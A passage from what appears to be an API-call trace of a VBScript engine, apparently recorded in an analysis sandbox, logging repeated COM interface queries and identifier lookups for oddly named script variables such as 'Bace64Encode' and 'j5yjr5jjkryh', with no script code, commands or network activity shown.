Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x14c340 | out: ppvObject=0x14c340*=0x1197760) returned 0x0 [0065.639] IDispatchEx:GetDispId (in: This=0x1197760, bstrName="age64Dicode", grfdex=0x8, pid=0x14c35c | out: pid=0x14c35c*=1360840) returned 0x80020006 [0065.639] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd2c8, bstrName="age64Dicode", grfdex=0x8, pid=0x14c2b4 | out: pid=0x14c2b4*=-1) returned 0x80020006 [0065.639] GetCurrentThreadId () returned 0xd44 [0065.640] IUnknown:Release (This=0x1197760) returned 0x5 [0065.640] ??2@YAPAXI@Z () returned 0x83fd548 [0065.640] IUnknown:QueryInterface (in: This=0x1197760, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x14c340 | out: ppvObject=0x14c340*=0x1197760) returned 0x0 [0065.640] IDispatchEx:GetDispId (in: This=0x1197760, bstrName="BytesToStr", grfdex=0x8, pid=0x14c35c | out: pid=0x14c35c*=1360840) returned 0x80020006 [0065.640] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd2c8, bstrName="BytesToStr", grfdex=0x8, pid=0x14c2b4 | out: pid=0x14c2b4*=-1) returned 0x80020006 [0065.640] GetCurrentThreadId () returned 0xd44 [0065.640] IUnknown:Release (This=0x1197760) returned 0x5 [0065.640] malloc (_Size=0x204) returned 0x83d6fd0 [0065.640] ??2@YAPAXI@Z () returned 0x83fd570 [0065.640] IUnknown:QueryInterface (in: This=0x1197760, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x14c340 | out: ppvObject=0x14c340*=0x1197760) returned 0x0 [0065.641] IDispatchEx:GetDispId (in: This=0x1197760, bstrName="Bace64Encode", grfdex=0x8, pid=0x14c35c | out: pid=0x14c35c*=1360840) returned 0x80020006 [0065.641] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd2c8, bstrName="Bace64Encode", grfdex=0x8, pid=0x14c2b4 | out: pid=0x14c2b4*=-1) returned 0x80020006 [0065.641] GetCurrentThreadId () returned 0xd44 [0065.641] IUnknown:Release (This=0x1197760) returned 0x5 [0065.641] ??2@YAPAXI@Z () returned 0x83fd598 [0065.641] IUnknown:QueryInterface (in: This=0x1197760, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x14c340 | out: ppvObject=0x14c340*=0x1197760) returned 0x0 [0065.641] IDispatchEx:GetDispId (in: This=0x1197760, bstrName="j5yjr5jjkryh", grfdex=0x8, pid=0x14c35c | out: pid=0x14c35c*=1360840) returned 0x80020006 [0065.641] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd2c8, bstrName="j5yjr5jjkryh", grfdex=0x8, pid=0x14c2b4 | out: pid=0x14c2b4*=-1) returned 0x80020006 [0065.641] GetCurrentThreadId () returned 0xd44 [0065.641] IUnknown:Release (This=0x1197760) returned 0x5 [0065.641] ??2@YAPAXI@Z () returned 0x83fd5c0 [0065.641] IUnknown:QueryInterface (in: This=0x1197760, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x14c340 | out: ppvObject=0x14c340*=0x1197760) returned 0x0 [0065.642] IDispatchEx:GetDispId (in: This=0x1197760, bstrName="kbfdthjywfuj645y", grfdex=0x8, pid=0x14c35c | out: pid=0x14c35c*=1360840) returned 0x80020006 [0065.642] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd2c8, bstrName="kbfdthjywfuj645y", grfdex=0x8, pid=0x14c2b4 | out: pid=0x14c2b4*=-1) returned 0x80020006 [0065.642] GetCurrentThreadId () returned 0xd44 [0065.642] IUnknown:Release (This=0x1197760) returned 0x5 [0065.642] IUnknown:QueryInterface (in: This=0x1197760, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x14c3ac | out: ppvObject=0x14c3ac*=0x1197760) returned 0x0 [0065.642] IDispatchEx:GetDispId (in: This=0x1197760, bstrName="mwebbodfjg", grfdex=0x8, pid=0x14c3c8 | out: pid=0x14c3c8*=1361072) returned 0x80020006 [0065.642] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd2c8, bstrName="mwebbodfjg", grfdex=0x8, pid=0x14c320 | out: pid=0x14c320*=-1) returned 0x80020006 [0065.642] GetCurrentThreadId () returned 0xd44 [0065.642] IUnknown:Release (This=0x1197760) returned 0x5 [0065.642] IUnknown:QueryInterface (in: This=0x1197760, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x14c3ac | out: ppvObject=0x14c3ac*=0x1197760) returned 0x0 [0065.642] IDispatchEx:GetDispId (in: This=0x1197760, bstrName="btj4urkmgfanvbw", grfdex=0x8, pid=0x14c3c8 | out: pid=0x14c3c8*=1361072) returned 0x80020006 [0065.642] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd2c8, bstrName="btj4urkmgfanvbw", grfdex=0x8, pid=0x14c320 | out: pid=0x14c320*=-1) returned 0x80020006 [0065.642] GetCurrentThreadId () returned 0xd44 [0065.642] IUnknown:Release (This=0x1197760) returned 0x5 [0065.643] IUnknown:QueryInterface (in: This=0x1197760, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x14c3ac | out: ppvObject=0x14c3ac*=0x1197760) returned 0x0 [0065.643] IDispatchEx:GetDispId (in: This=0x1197760, bstrName="f2323", grfdex=0x8, pid=0x14c3c8 | out: pid=0x14c3c8*=1361072) returned 0x80020006 [0065.643] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd2c8, bstrName="f2323", grfdex=0x8, pid=0x14c320 | out: pid=0x14c320*=-1) returned 0x80020006 [0065.643] GetCurrentThreadId () returned 0xd44 [0065.643] IUnknown:Release (This=0x1197760) returned 0x5 [0065.644] malloc (_Size=0x404) returned 0x844aed8 [0065.644] IUnknown:QueryInterface (in: This=0x1197760, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x14c3ac | out: ppvObject=0x14c3ac*=0x1197760) returned 0x0 [0065.644] IDispatchEx:GetDispId (in: This=0x1197760, bstrName="AllFata", grfdex=0x8, pid=0x14c3c8 | out: pid=0x14c3c8*=1361072) returned 0x80020006 [0065.644] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd2c8, bstrName="AllFata", grfdex=0x8, pid=0x14c320 | out: pid=0x14c320*=-1) returned 0x80020006 [0065.644] GetCurrentThreadId () returned 0xd44 [0065.644] IUnknown:Release (This=0x1197760) returned 0x5 [0065.644] IUnknown:QueryInterface (in: This=0x1197760, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x14c3ac | out: ppvObject=0x14c3ac*=0x1197760) returned 0x0 [0065.644] IDispatchEx:GetDispId (in: This=0x1197760, bstrName="fffffffffgggggg", grfdex=0x8, pid=0x14c3c8 | out: pid=0x14c3c8*=1361072) returned 0x80020006 [0065.644] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd2c8, bstrName="fffffffffgggggg", grfdex=0x8, pid=0x14c320 | out: pid=0x14c320*=-1) returned 0x80020006 [0065.644] GetCurrentThreadId () returned 0xd44 [0065.644] IUnknown:Release (This=0x1197760) returned 0x5 [0065.644] IUnknown:QueryInterface (in: This=0x1197760, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x14c3ac | out: ppvObject=0x14c3ac*=0x1197760) returned 0x0 [0065.645] IDispatchEx:GetDispId (in: This=0x1197760, bstrName="vard1", grfdex=0x8, pid=0x14c3c8 | out: pid=0x14c3c8*=1361072) returned 0x80020006 [0065.645] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd2c8, bstrName="vard1", grfdex=0x8, pid=0x14c320 | out: pid=0x14c320*=-1) returned 0x80020006 [0065.645] GetCurrentThreadId () returned 0xd44 [0065.645] IUnknown:Release (This=0x1197760) returned 0x5 [0065.645] IUnknown:QueryInterface (in: This=0x1197760, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x14c3ac | out: ppvObject=0x14c3ac*=0x1197760) returned 0x0 [0065.645] IDispatchEx:GetDispId (in: This=0x1197760, bstrName="ARRHELPWIN", grfdex=0x8, pid=0x14c3c8 | out: pid=0x14c3c8*=1361072) returned 0x80020006 [0065.645] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd2c8, bstrName="ARRHELPWIN", grfdex=0x8, pid=0x14c320 | out: pid=0x14c320*=-1) returned 0x80020006 [0065.645] GetCurrentThreadId () returned 0xd44 [0065.645] IUnknown:Release (This=0x1197760) returned 0x5 [0065.645] IUnknown:QueryInterface (in: This=0x1197760, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x14c3ac | out: ppvObject=0x14c3ac*=0x1197760) returned 0x0 [0065.645] IDispatchEx:GetDispId (in: This=0x1197760, bstrName="ARRHELPWINCHR1", grfdex=0x8, pid=0x14c3c8 | out: pid=0x14c3c8*=1361072) returned 0x80020006 [0065.645] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd2c8, bstrName="ARRHELPWINCHR1", grfdex=0x8, pid=0x14c320 | out: pid=0x14c320*=-1) returned 0x80020006 [0065.645] GetCurrentThreadId () returned 0xd44 [0065.646] IUnknown:Release (This=0x1197760) returned 0x5 [0065.646] IUnknown:QueryInterface (in: This=0x1197760, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x14c3ac | out: ppvObject=0x14c3ac*=0x1197760) returned 0x0 [0065.646] IDispatchEx:GetDispId (in: This=0x1197760, bstrName="ARRINTCMD", grfdex=0x8, pid=0x14c3c8 | out: pid=0x14c3c8*=1361072) returned 0x80020006 [0065.646] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd2c8, bstrName="ARRINTCMD", grfdex=0x8, pid=0x14c320 | out: pid=0x14c320*=-1) returned 0x80020006 [0065.646] GetCurrentThreadId () returned 0xd44 [0065.646] IUnknown:Release (This=0x1197760) returned 0x5 [0065.646] IUnknown:QueryInterface (in: This=0x1197760, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x14c3ac | out: ppvObject=0x14c3ac*=0x1197760) returned 0x0 [0065.646] IDispatchEx:GetDispId (in: This=0x1197760, bstrName="ARRTEMP", grfdex=0x8, pid=0x14c3c8 | out: pid=0x14c3c8*=1361072) returned 0x80020006 [0065.646] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd2c8, bstrName="ARRTEMP", grfdex=0x8, pid=0x14c320 | out: pid=0x14c320*=-1) returned 0x80020006 [0065.646] GetCurrentThreadId () returned 0xd44 [0065.646] IUnknown:Release (This=0x1197760) returned 0x5 [0065.646] IUnknown:QueryInterface (in: This=0x1197760, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x14c3ac | out: ppvObject=0x14c3ac*=0x1197760) returned 0x0 [0065.647] IDispatchEx:GetDispId (in: This=0x1197760, bstrName="DICHELPLONG", grfdex=0x8, pid=0x14c3c8 | out: pid=0x14c3c8*=1361072) returned 0x80020006 [0065.647] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd2c8, bstrName="DICHELPLONG", grfdex=0x8, pid=0x14c320 | out: pid=0x14c320*=-1) returned 0x80020006 [0065.647] GetCurrentThreadId () returned 0xd44 [0065.647] IUnknown:Release (This=0x1197760) returned 0x5 [0065.647] IUnknown:QueryInterface (in: This=0x1197760, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x14c3ac | out: ppvObject=0x14c3ac*=0x1197760) returned 0x0 [0065.649] IDispatchEx:GetDispId (in: This=0x1197760, bstrName="DICHELPSHORT", grfdex=0x8, pid=0x14c3c8 | out: pid=0x14c3c8*=1361072) returned 0x80020006 [0065.649] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd2c8, bstrName="DICHELPSHORT", grfdex=0x8, pid=0x14c320 | out: pid=0x14c320*=-1) returned 0x80020006 [0065.649] GetCurrentThreadId () returned 0xd44 [0065.649] IUnknown:Release (This=0x1197760) returned 0x5 [0065.649] IUnknown:QueryInterface (in: This=0x1197760, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x14c3ac | out: ppvObject=0x14c3ac*=0x1197760) returned 0x0 [0065.649] IDispatchEx:GetDispId (in: This=0x1197760, bstrName="DICSYSTEMFILES", grfdex=0x8, pid=0x14c3c8 | out: pid=0x14c3c8*=1361072) returned 0x80020006 [0065.649] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd2c8, bstrName="DICSYSTEMFILES", grfdex=0x8, pid=0x14c320 | out: pid=0x14c320*=-1) returned 0x80020006 [0065.649] GetCurrentThreadId () returned 0xd44 [0065.649] IUnknown:Release (This=0x1197760) returned 0x5 [0065.649] IUnknown:QueryInterface (in: This=0x1197760, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x14c3ac | out: ppvObject=0x14c3ac*=0x1197760) returned 0x0 [0065.649] IDispatchEx:GetDispId (in: This=0x1197760, bstrName="BLNADDITIONAL", grfdex=0x8, pid=0x14c3c8 | out: pid=0x14c3c8*=1361072) returned 0x80020006 [0065.650] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd2c8, bstrName="BLNADDITIONAL", grfdex=0x8, pid=0x14c320 | out: pid=0x14c320*=-1) returned 0x80020006 [0065.650] GetCurrentThreadId () returned 0xd44 [0065.650] IUnknown:Release (This=0x1197760) returned 0x5 [0065.650] realloc (_Block=0x0, _Size=0xa0) returned 0x83d71e0 [0065.650] IUnknown:QueryInterface (in: This=0x1197760, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x14c3ac | out: ppvObject=0x14c3ac*=0x1197760) returned 0x0 [0065.650] IDispatchEx:GetDispId (in: This=0x1197760, bstrName="BLNDEBUG", grfdex=0x8, pid=0x14c3c8 | out: pid=0x14c3c8*=1361072) returned 0x80020006 [0065.650] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd2c8, bstrName="BLNDEBUG", grfdex=0x8, pid=0x14c320 | out: pid=0x14c320*=-1) returned 0x80020006 [0065.650] GetCurrentThreadId () returned 0xd44 [0065.650] IUnknown:Release (This=0x1197760) returned 0x5 [0065.650] IUnknown:QueryInterface (in: This=0x1197760, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x14c3ac | out: ppvObject=0x14c3ac*=0x1197760) returned 0x0 [0065.650] IDispatchEx:GetDispId (in: This=0x1197760, bstrName="BLNDEBUGLOG", grfdex=0x8, pid=0x14c3c8 | out: pid=0x14c3c8*=1361072) returned 0x80020006 [0065.650] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd2c8, bstrName="BLNDEBUGLOG", grfdex=0x8, pid=0x14c320 | out: pid=0x14c320*=-1) returned 0x80020006 [0065.650] GetCurrentThreadId () returned 0xd44 [0065.651] IUnknown:Release (This=0x1197760) returned 0x5 [0065.651] IUnknown:QueryInterface (in: This=0x1197760, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x14c3ac | out: ppvObject=0x14c3ac*=0x1197760) returned 0x0 [0065.651] IDispatchEx:GetDispId (in: This=0x1197760, bstrName="BLNIGNOREBATCH", grfdex=0x8, pid=0x14c3c8 | out: pid=0x14c3c8*=1361072) returned 0x80020006 [0065.651] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd2c8, bstrName="BLNIGNOREBATCH", grfdex=0x8, pid=0x14c320 | out: pid=0x14c320*=-1) returned 0x80020006 [0065.651] GetCurrentThreadId () returned 0xd44 [0065.651] IUnknown:Release (This=0x1197760) returned 0x5 [0065.651] malloc (_Size=0x804) returned 0x8844768 [0065.651] IUnknown:QueryInterface (in: This=0x1197760, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x14c3ac | out: ppvObject=0x14c3ac*=0x1197760) returned 0x0 [0065.651] IDispatchEx:GetDispId (in: This=0x1197760, bstrName="BLNNOADMIN", grfdex=0x8, pid=0x14c3c8 | out: pid=0x14c3c8*=1361072) returned 0x80020006 [0065.651] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd2c8, bstrName="BLNNOADMIN", grfdex=0x8, pid=0x14c320 | out: pid=0x14c320*=-1) returned 0x80020006 [0065.651] GetCurrentThreadId () returned 0xd44 [0065.651] IUnknown:Release (This=0x1197760) returned 0x5 [0065.651] IUnknown:QueryInterface (in: This=0x1197760, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x14c3ac | out: ppvObject=0x14c3ac*=0x1197760) returned 0x0 [0065.652] IDispatchEx:GetDispId (in: This=0x1197760, bstrName="BLNNOHLPCHR1", grfdex=0x8, pid=0x14c3c8 | out: pid=0x14c3c8*=1361072) returned 0x80020006 [0065.652] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd2c8, bstrName="BLNNOHLPCHR1", grfdex=0x8, pid=0x14c320 | out: pid=0x14c320*=-1) returned 0x80020006 [0065.652] GetCurrentThreadId () returned 0xd44 [0065.652] IUnknown:Release (This=0x1197760) returned 0x5 [0065.652] IUnknown:QueryInterface (in: This=0x1197760, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x14c3ac | out: ppvObject=0x14c3ac*=0x1197760) returned 0x0 [0065.652] IDispatchEx:GetDispId (in: This=0x1197760, bstrName="BLNOVERWRITE", grfdex=0x8, pid=0x14c3c8 | out: pid=0x14c3c8*=1361072) returned 0x80020006 [0065.652] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd2c8, bstrName="BLNOVERWRITE", grfdex=0x8, pid=0x14c320 | out: pid=0x14c320*=-1) returned 0x80020006 [0065.652] GetCurrentThreadId () returned 0xd44 [0065.652] IUnknown:Release (This=0x1197760) returned 0x5 [0065.652] IUnknown:QueryInterface (in: This=0x1197760, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x14c3ac | out: ppvObject=0x14c3ac*=0x1197760) returned 0x0 [0065.652] IDispatchEx:GetDispId (in: This=0x1197760, bstrName="BLNQUIET", grfdex=0x8, pid=0x14c3c8 | out: pid=0x14c3c8*=1361072) returned 0x80020006 [0065.652] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd2c8, bstrName="BLNQUIET", grfdex=0x8, pid=0x14c320 | out: pid=0x14c320*=-1) returned 0x80020006 [0065.653] GetCurrentThreadId () returned 0xd44 [0065.653] IUnknown:Release (This=0x1197760) returned 0x5 [0065.653] IUnknown:QueryInterface (in: This=0x1197760, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x14c3ac | out: ppvObject=0x14c3ac*=0x1197760) returned 0x0 [0065.653] IDispatchEx:GetDispId (in: This=0x1197760, bstrName="BLNWINDOWSONLY", grfdex=0x8, pid=0x14c3c8 | out: pid=0x14c3c8*=1361072) returned 0x80020006 [0065.653] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd2c8, bstrName="BLNWINDOWSONLY", grfdex=0x8, pid=0x14c320 | out: pid=0x14c320*=-1) returned 0x80020006 [0065.653] GetCurrentThreadId () returned 0xd44 [0065.653] IUnknown:Release (This=0x1197760) returned 0x5 [0065.653] IUnknown:QueryInterface (in: This=0x1197760, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x14c3ac | out: ppvObject=0x14c3ac*=0x1197760) returned 0x0 [0065.653] IDispatchEx:GetDispId (in: This=0x1197760, bstrName="OBJcorn", grfdex=0x8, pid=0x14c3c8 | out: pid=0x14c3c8*=1361072) returned 0x80020006 [0065.653] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd2c8, bstrName="OBJcorn", grfdex=0x8, pid=0x14c320 | out: pid=0x14c320*=-1) returned 0x80020006 [0065.653] GetCurrentThreadId () returned 0xd44 [0065.653] IUnknown:Release (This=0x1197760) returned 0x5 [0065.654] IUnknown:QueryInterface (in: This=0x1197760, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x14c3ac | out: ppvObject=0x14c3ac*=0x1197760) returned 0x0 [0065.654] IDispatchEx:GetDispId (in: This=0x1197760, bstrName="OBJthrone", grfdex=0x8, pid=0x14c3c8 | out: pid=0x14c3c8*=1361072) returned 0x80020006 [0065.654] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd2c8, bstrName="OBJthrone", grfdex=0x8, pid=0x14c320 | out: pid=0x14c320*=-1) returned 0x80020006 [0065.654] GetCurrentThreadId () returned 0xd44 [0065.654] IUnknown:Release (This=0x1197760) returned 0x5 [0065.654] IUnknown:QueryInterface (in: This=0x1197760, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x14c3ac | out: ppvObject=0x14c3ac*=0x1197760) returned 0x0 [0065.654] IDispatchEx:GetDispId (in: This=0x1197760, bstrName="OBJloyalty", grfdex=0x8, pid=0x14c3c8 | out: pid=0x14c3c8*=1361072) returned 0x80020006 [0065.654] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd2c8, bstrName="OBJloyalty", grfdex=0x8, pid=0x14c320 | out: pid=0x14c320*=-1) returned 0x80020006 [0065.654] GetCurrentThreadId () returned 0xd44 [0065.654] IUnknown:Release (This=0x1197760) returned 0x5 [0065.654] IUnknown:QueryInterface (in: This=0x1197760, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x14c3ac | out: ppvObject=0x14c3ac*=0x1197760) returned 0x0 [0065.655] IDispatchEx:GetDispId (in: This=0x1197760, bstrName="OBJmedal", grfdex=0x8, pid=0x14c3c8 | out: pid=0x14c3c8*=1361072) returned 0x80020006 [0065.655] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd2c8, bstrName="OBJmedal", grfdex=0x8, pid=0x14c320 | out: pid=0x14c320*=-1) returned 0x80020006 [0065.655] GetCurrentThreadId () returned 0xd44 [0065.655] IUnknown:Release (This=0x1197760) returned 0x5 [0065.655] IUnknown:QueryInterface (in: This=0x1197760, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x14c3ac | out: ppvObject=0x14c3ac*=0x1197760) returned 0x0 [0065.655] IDispatchEx:GetDispId (in: This=0x1197760, bstrName="OBJreactor", grfdex=0x8, pid=0x14c3c8 | out: pid=0x14c3c8*=1361072) returned 0x80020006 [0065.655] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd2c8, bstrName="OBJreactor", grfdex=0x8, pid=0x14c320 | out: pid=0x14c320*=-1) returned 0x80020006 [0065.655] GetCurrentThreadId () returned 0xd44 [0065.655] IUnknown:Release (This=0x1197760) returned 0x5 [0065.655] IUnknown:QueryInterface (in: This=0x1197760, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x14c3ac | out: ppvObject=0x14c3ac*=0x1197760) returned 0x0 [0065.655] IDispatchEx:GetDispId (in: This=0x1197760, bstrName="OBJcabinet", grfdex=0x8, pid=0x14c3c8 | out: pid=0x14c3c8*=1361072) returned 0x80020006 [0065.655] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd2c8, bstrName="OBJcabinet", grfdex=0x8, pid=0x14c320 | out: pid=0x14c320*=-1) returned 0x80020006 [0065.655] GetCurrentThreadId () returned 0xd44 [0065.656] IUnknown:Release (This=0x1197760) returned 0x5 [0065.656] IUnknown:QueryInterface (in: This=0x1197760, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x14c3ac | out: ppvObject=0x14c3ac*=0x1197760) returned 0x0 [0065.656] IDispatchEx:GetDispId (in: This=0x1197760, bstrName="COLITEMS", grfdex=0x8, pid=0x14c3c8 | out: pid=0x14c3c8*=1361072) returned 0x80020006 [0065.656] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd2c8, bstrName="COLITEMS", grfdex=0x8, pid=0x14c320 | out: pid=0x14c320*=-1) returned 0x80020006 [0065.656] GetCurrentThreadId () returned 0xd44 [0065.656] IUnknown:Release (This=0x1197760) returned 0x5 [0065.656] IUnknown:QueryInterface (in: This=0x1197760, 